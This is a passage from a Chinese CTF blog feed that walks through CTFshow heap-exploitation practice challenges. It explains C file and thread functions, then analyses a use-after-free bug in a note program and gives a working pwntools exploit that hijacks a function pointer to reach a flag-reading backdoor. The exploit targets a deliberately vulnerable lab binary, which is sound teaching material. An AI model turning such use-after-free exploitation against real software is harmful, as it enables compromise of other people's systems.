class="line">Here is your flag:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">free</span><br></pre></td></tr></table></figure><p><strong>fseek()函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">fseek</span><span class="params">(FILE *stream, <span class="type">long</span> offset, <span class="type">int</span> whence)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>:<code>fseek()</code> 用于 <strong>移动文件流的文件位置指针</strong>，从而改变下次读写的位置</p><p><strong>参数</strong>:</p><ol><li><strong><code>stream</code></strong>:已经打开的文件指针（<code>FILE*</code>）</li><li><strong><code>offset</code></strong>:相对于 <code>whence</code> 的偏移量（字节数，可以是正数、负数或 0）</li><li><strong><code>whence</code></strong><br> 基准位置，取值：<ul><li><code>SEEK_SET</code>：文件开头</li><li><code>SEEK_CUR</code>：当前位置</li><li><code>SEEK_END</code>：文件末尾</li></ul></li></ol><p><strong>返回值</strong>:</p><ul><li>成功：返回 <code>0</code></li><li>失败：返回 <code>-1</code>，并设置 <code>errno</code></li></ul><p><strong>特点</strong>:</p><ul><li>常与 <code>ftell()</code> 搭配，用来获取文件大小或保存当前位置</li><li>只能在 <strong>二进制文件</strong> 上保证准确（文本文件可能因为换行符转换导致偏移不一致）</li><li>类似低级系统调用里的 <code>lseek()</code>，不过 <code>fseek()</code> 作用在 <strong>标准 I&#x2F;O 流</strong> 上</li></ul><p><strong>ftell函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">long</span> <span class="title function_">ftell</span><span class="params">(FILE *stream)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：<code>ftell()</code> 用于获取当前文件指针的<strong>位置</strong>（以字节为单位）</p><p><strong>参数</strong>:</p><ul><li><strong><code>stream</code></strong>：表示文件指针</li></ul><p><strong>返回值</strong>:</p><ul><li>返回<strong>当前文件指针的偏移量</strong>，从文件开头算起</li><li>若出错，返回 <code>-1L</code></li></ul><p><strong>fread函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">size_t</span> <span class="title function_">fread</span><span class="params">(<span class="type">void</span> *ptr, <span class="type">size_t</span> size, <span class="type">size_t</span> count, FILE *stream)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：<code>fread()</code> 是 C 标准库中的一个函数，用于批量读取文件数据，尤其适合二进制文件</p><p><strong>参数</strong>：</p><ul><li><strong><code>ptr</code></strong>：指向存储读取数据的内存区域的指针</li><li><strong><code>size</code></strong>：每个数据项的字节数</li><li><strong><code>count</code></strong>：要读取的数据项的数量</li><li><strong><code>stream</code></strong>：指向目标文件流的指针</li></ul><p><strong>返回值</strong>：实际成功读取的数据项数量（<code>size_t</code>类型）</p><ul><li>若等于<code>count</code>：读取完整</li><li>若小于<code>count</code>：可能是文件已到末尾（可通过<code>feof</code>判断），或发生错误（可通过<code>ferror</code>判断）</li></ul><h2 id="pwn140"><a href="#pwn140" class="headerlink" title="pwn140"></a>pwn140</h2><h6 id="Hint-多线程支持-1"><a href="#Hint-多线程支持-1" class="headerlink" title="Hint:多线程支持"></a>Hint:多线程支持</h6><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__pid_t</span> pid; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">pthread_t</span> newthread; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">void</span> *thread_return; <span class="comment">// [rsp+18h] [rbp-18h] BYREF</span></span><br><span class="line">  <span class="type">void</span> *ptr; <span class="comment">// [rsp+20h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v8; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v8 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  pid = getpid();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome to per thread arena example::%d\n&quot;</span>, pid);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Before malloc in main thread&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  ptr = <span class="built_in">malloc</span>(<span class="number">0x3E8u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;After malloc and before free in main thread&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  <span class="built_in">free</span>(ptr);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;After free in main thread&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  <span class="keyword">if</span> ( pthread_create(&amp;newthread, <span class="number">0</span>, threadFunc, <span class="number">0</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Thread creation error&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( pthread_join(newthread, &amp;thread_return) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Thread join error&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入3次即可得到flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Heap_Exploitation</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Per thread arena example. !</span><br><span class="line">    * *************************************</span><br><span class="line">Welcome to per thread arena example::54</span><br><span class="line">Before malloc <span class="keyword">in</span> main thread</span><br><span class="line">a</span><br><span class="line">After malloc and before free <span class="keyword">in</span> main thread</span><br><span class="line">After free <span class="keyword">in</span> main thread</span><br><span class="line">a</span><br><span class="line">Before malloc <span class="keyword">in</span> thread 1</span><br><span class="line">After malloc and before free <span class="keyword">in</span> thread 1</span><br><span class="line">a</span><br><span class="line">After free <span class="keyword">in</span> thread 1</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><p><strong>pthread_create()函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">pthread_create</span><span class="params">(<span class="type">pthread_t</span> *newthread, <span class="type">const</span> <span class="type">pthread_attr_t</span> *attr, <span class="type">void</span> *(*start_routine)(<span class="type">void</span> *), <span class="type">void</span> *arg)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：用于创建一个新线程</p><p><strong>参数</strong>：</p><ul><li><p><strong><code>newthread</code></strong>：指向<code>pthread_t</code>类型变量的指针，用于存储新创建线程的唯一标识符（线程 ID）。后续操作（如等待线程结束）需通过该 ID 引用线程</p></li><li><p><strong><code>attr</code></strong>：线程属性设置（如栈大小、调度策略等）。通常传<code>NULL</code>（或<code>0</code>），表示使用默认属性（大多数场景无需自定义）</p></li><li><p><code>start_routine</code>：线程的入口函数（线程启动后执行的函数），必须符合固定原型：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span>* (*start_routine)(<span class="type">void</span>*);  <span class="comment">// 接收void*参数，返回void*</span></span><br></pre></td></tr></table></figure><p>函数执行完毕后，线程会终止。</p></li><li><p><strong><code>arg</code></strong>：传递给<code>start_routine</code>函数的参数（类型为<code>void*</code>，可传递任意类型数据，需自行转换）。若无需参数，可传<code>NULL</code>（或<code>0</code>）</p></li></ul><p><strong>返回值</strong>：</p><ul><li>成功：返回<code>0</code>（新线程已创建并开始运行）</li><li>失败：返回非<code>0</code>的错误码（不同错误对应不同值，可通过<code>strerror()</code>函数查看具体错误信息，如线程创建失败原因）</li></ul><p><strong>pthread_join()函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">pthread_join</span><span class="params">(<span class="type">pthread_t</span> thread, <span class="type">void</span> **retval)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：<code>pthread_join()</code> 用于等待指定线程终止，并可以获取该线程的返回值</p><p><strong>参数</strong>：</p><ul><li><p><strong><code>thread</code></strong>：需要等待的子线程的标识符（由<code>pthread_create()</code>输出的<code>newthread</code>）</p></li><li><p><strong><code>retval</code></strong>：指向<code>void*</code>类型的指针，用于存储子线程的返回值（即线程入口函数<code>start_routine</code>的返回值）。若无需获取返回值，可传<code>NULL</code></p></li></ul><p><strong>返回值</strong>：</p><ul><li>成功：返回<code>0</code>（子线程已正常终止）</li><li>失败：返回非<code>0</code>的错误码（如指定的线程不存在、线程已被分离等）</li></ul><h2 id="pwn141-过"><a href="#pwn141-过" class="headerlink" title="pwn141[过]"></a>pwn141[过]</h2><h6 id="Hint-使用已释放的内存"><a href="#Hint-使用已释放的内存" class="headerlink" title="Hint:使用已释放的内存"></a>Hint:使用已释放的内存</h6><p>checksec:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启Canary与NX保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+0h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// [esp+4h] [ebp-Ch]</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+8h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">    n4 = atoi(buf);</span><br><span class="line">    <span class="keyword">if</span> ( n4 == <span class="number">4</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( n4 &gt; <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">LABEL_12:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">switch</span> ( n4 )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">          print_note();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">          add_note();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">          del_note();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">          <span class="keyword">goto</span> LABEL_12;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看⼀下菜单：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;-------------------------&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;       CTFshowNote       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;-------------------------&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    1. Add note          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    2. Delete note       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    3. Print note        &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    4. Exit              &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;-------------------------&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;choice :&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序应该主要有 3 个功能。之后程序会根据⽤⼾的输⼊执⾏相应的功能。</p><p>add_note():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">add_note</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// esi</span></span><br><span class="line">  <span class="type">int</span> n4; <span class="comment">// [esp+Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> size; <span class="comment">// [esp+10h] [ebp-18h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [esp+14h] [ebp-14h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( count &lt;= <span class="number">5</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( n4 = <span class="number">0</span>; n4 &lt;= <span class="number">4</span>; ++n4 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !*((_DWORD *)&amp;notelist + n4) ) <span class="comment">//寻找空的笔记位置</span></span><br><span class="line">      &#123;</span><br><span class="line">        *((_DWORD *)&amp;notelist + n4) = <span class="built_in">malloc</span>(<span class="number">8u</span>);  <span class="comment">//分配8字节的笔记结构体</span></span><br><span class="line">        <span class="keyword">if</span> ( !*((_DWORD *)&amp;notelist + n4) )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        **((_DWORD **)&amp;notelist + n4) = print_note_content; <span class="comment">//设置笔记的打印函数指针([0-3字节：函数指针][4-7字节：内容缓冲区指针])</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Note size :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">8u</span>);</span><br><span class="line">        size = atoi(buf);</span><br><span class="line">        v0 = *((_DWORD *)&amp;notelist + n4); <span class="comment">//获取笔记结构体地址</span></span><br><span class="line">        *(_DWORD *)(v0 + <span class="number">4</span>) = <span class="built_in">malloc</span>(size); <span class="comment">//分配size字节的内容缓冲区，存在结构体的4-7字节</span></span><br><span class="line">        <span class="keyword">if</span> ( !*(_DWORD *)(*((_DWORD *)&amp;notelist + n4) + <span class="number">4</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Content :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, *(<span class="type">void</span> **)(*((_DWORD *)&amp;notelist + n4) + <span class="number">4</span>), size); <span class="comment">//读取size字节到内容缓冲区</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Success !&quot;</span>);</span><br><span class="line">        ++count;</span><br><span class="line">        <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v5;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Full!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最多可以添加 5 个 note。每个 note 有两个字段 put 与 content，其中 put 会被设置为⼀个函数，其函数会输出 content 具体的内容。</p><p>print_note():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">print_note</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> count; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  count = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( count &lt; <span class="number">0</span> || count &gt;= ::count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( *((_DWORD *)&amp;notelist + count) ) <span class="comment">//检查该索引的笔记是否存在（指针非空）</span></span><br><span class="line">     <span class="comment">//调用笔记结构体中的打印函数指针，传入笔记结构体地址作为参数</span></span><br><span class="line">    (**((<span class="type">void</span> (__cdecl ***)(_DWORD))&amp;notelist + count))(*((_DWORD *)&amp;notelist + count));</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据给定的索引来输出对应的note的内容。</p><p>del_note():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">del_note</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> count; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  count = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( count &lt; <span class="number">0</span> || count &gt;= ::count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( *((_DWORD *)&amp;notelist + count) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>(*(<span class="type">void</span> **)(*((_DWORD *)&amp;notelist + count) + <span class="number">4</span>));</span><br><span class="line">    <span class="built_in">free</span>(*((<span class="type">void</span> **)&amp;notelist + count));</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据给定的索引来释放对应的 note。但是值得注意的是，在删除的时候，只是单纯进⾏了 free，⽽没有设置为 NULL，那么显然，这⾥是存在 UAF(Use After Free，释放后使用)漏洞。</p><p>程序还存在后⻔函数use()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">use</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么我们只需要修改 note 的 put 字段为use函数的地址，从⽽实现在执⾏ print note 的时候执⾏后⻔函数。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">use = elf.sym[<span class="string">&#x27;use&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size, content</span>):</span><br><span class="line">io.recvuntil(<span class="string">b&quot;choice :&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;1&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;:&quot;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line">io.recvuntil(<span class="string">b&quot;:&quot;</span>)</span><br><span class="line">io.sendline(content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">io.recvuntil(<span class="string">b&quot;choice :&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;:&quot;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">io.recvuntil(<span class="string">b&quot;choice :&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;3&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;:&quot;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line">add(<span class="number">32</span>, <span class="string">b&quot;aaaa&quot;</span>)  <span class="comment">#索引0：struct0（8字节） + content0（32字节）</span></span><br><span class="line">add(<span class="number">32</span>, <span class="string">b&quot;bbbb&quot;</span>)  <span class="comment">#索引1：struct1（8字节） + content1（32字节）</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)  <span class="comment">#先free(content0)，再free(struct0)</span></span><br><span class="line">delete(<span class="number">1</span>)  <span class="comment">#先free(content1)，再free(struct1)</span></span><br><span class="line">add(<span class="number">8</span>, p32(use))  <span class="comment"># 新笔记：size=8，内容是use函数的4字节地址（32位地址占4B）</span></span><br><span class="line">show(<span class="number">0</span>)  <span class="comment">#调用show(0)，触发use函数执行</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 92</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">-------------------------</span><br><span class="line">       CTFshowNote</span><br><span class="line">-------------------------</span><br><span class="line">    1. Add note</span><br><span class="line">    2. Delete note</span><br><span class="line">    3. Print note</span><br><span class="line">    4. Exit</span><br><span class="line">-------------------------</span><br><span class="line">choice :$</span><br></pre></td></tr></table></figure><p>pwn111</p><p>Hint:堆块重叠</p><p>pwn111</p><p>Hint:先来试试简单的堆利用吧,远程环境：Ubuntu 16.04</p><p>pwn111</p><p>Hint:先来试试简单的堆利用吧,远程环境：Ubuntu 16.04</p><p>pwn111</p><p>Hint:glibc的一种分配规则</p><p>pwn111</p><p>Hint:为什么会产生UAF漏洞？</p><p>pwn111</p><p>Hint:fastbin_dup</p><p>pwn111</p><p>Hint:fastbin_dup_into_stack</p><p>pwn111</p><p>Hint: fastbin_dup_consolidate</p><p>pwn111</p><p>Hint:unsafe_unlink</p><p>pwn111</p><p>Hint:house_of_spirit</p><p>pwn111</p><p>Hint:poison_null_byte</p><p>pwn111</p><p>Hint:house_of_lore</p><p>pwn111</p><p>Hint:overlapping_chunks</p><p>pwn111</p><p>Hint:overlapping_chunks_2</p><p>pwn111</p><p>Hint:mmap_overlapping_chunks</p><p>pwn111</p><p>Hint:unsorted_bin_attack</p><p>pwn111</p><p>Hint:large_bin_attack</p><p>pwn111</p><p>Hint:Tcache_attack (友情提示：如果你现在基础还不太好，建议先往后做),远程环境：Ubuntu 18.04</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;pwn135&quot;&gt;&lt;a href=&quot;#pwn135&quot; class=&quot;headerlink&quot; title=&quot;pwn135&quot;&gt;&lt;/a&gt;pwn135&lt;/h2&gt;&lt;p&gt;Hint:为防止题目难度跨度太大，135-140为演示题目阶段，你可以轻松获取flag,但是希望你能一步步去</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="8-堆利用-前置基础" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/8-%E5%A0%86%E5%88%A9%E7%94%A8-%E5%89%8D%E7%BD%AE%E5%9F%BA%E7%A1%80/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>16.04dockerfile</title>
    <link href="https://rhea006.github.io/2025/08/ca9170085b41.html"/>
    <id>https://rhea006.github.io/2025/08/ca9170085b41.html</id>
    <published>2025-08-27T14:00:00.000Z</published>
    <updated>2025-08-29T06:38:07.371Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># used for compile ubuntu 16.04 debugging pwn image</span></span><br><span class="line"><span class="comment"># author: roderick</span></span><br><span class="line"><span class="comment"># date: 2024-04-06</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ARG</span> BUILD_VERSION</span><br><span class="line"></span><br><span class="line"><span class="keyword">FROM</span> ubuntu:$BUILD_VERSION</span><br><span class="line"></span><br><span class="line"><span class="keyword">ARG</span> DEBIAN_FRONTEND=noninteractive</span><br><span class="line"><span class="keyword">ARG</span> HUB_DOMAIN=github.com</span><br><span class="line"><span class="keyword">ARG</span> NORMAL_USER_NAME=ctf</span><br><span class="line"></span><br><span class="line"><span class="keyword">ENV</span> TZ=Etc/UTC</span><br><span class="line"><span class="keyword">ENV</span> LANG=en_US.UTF-<span class="number">8</span></span><br><span class="line"><span class="keyword">ENV</span> LANGUAGE=en_US:en</span><br><span class="line"><span class="keyword">ENV</span> LC_ALL=en_US.UTF-<span class="number">8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /root</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># install ruby 2.7 </span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get -y dist-upgrade &amp;&amp; apt-get install -y --fix-missing python3 python3-pip python3-dev lib32z1 \</span></span><br><span class="line"><span class="language-bash">    xinetd curl gcc g++ gdbserver git libssl-dev libffi-dev build-essential tmux \</span></span><br><span class="line"><span class="language-bash">    vim iputils-ping \</span></span><br><span class="line"><span class="language-bash">    file net-tools socat locales autoconf automake libtool make wget &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    wget 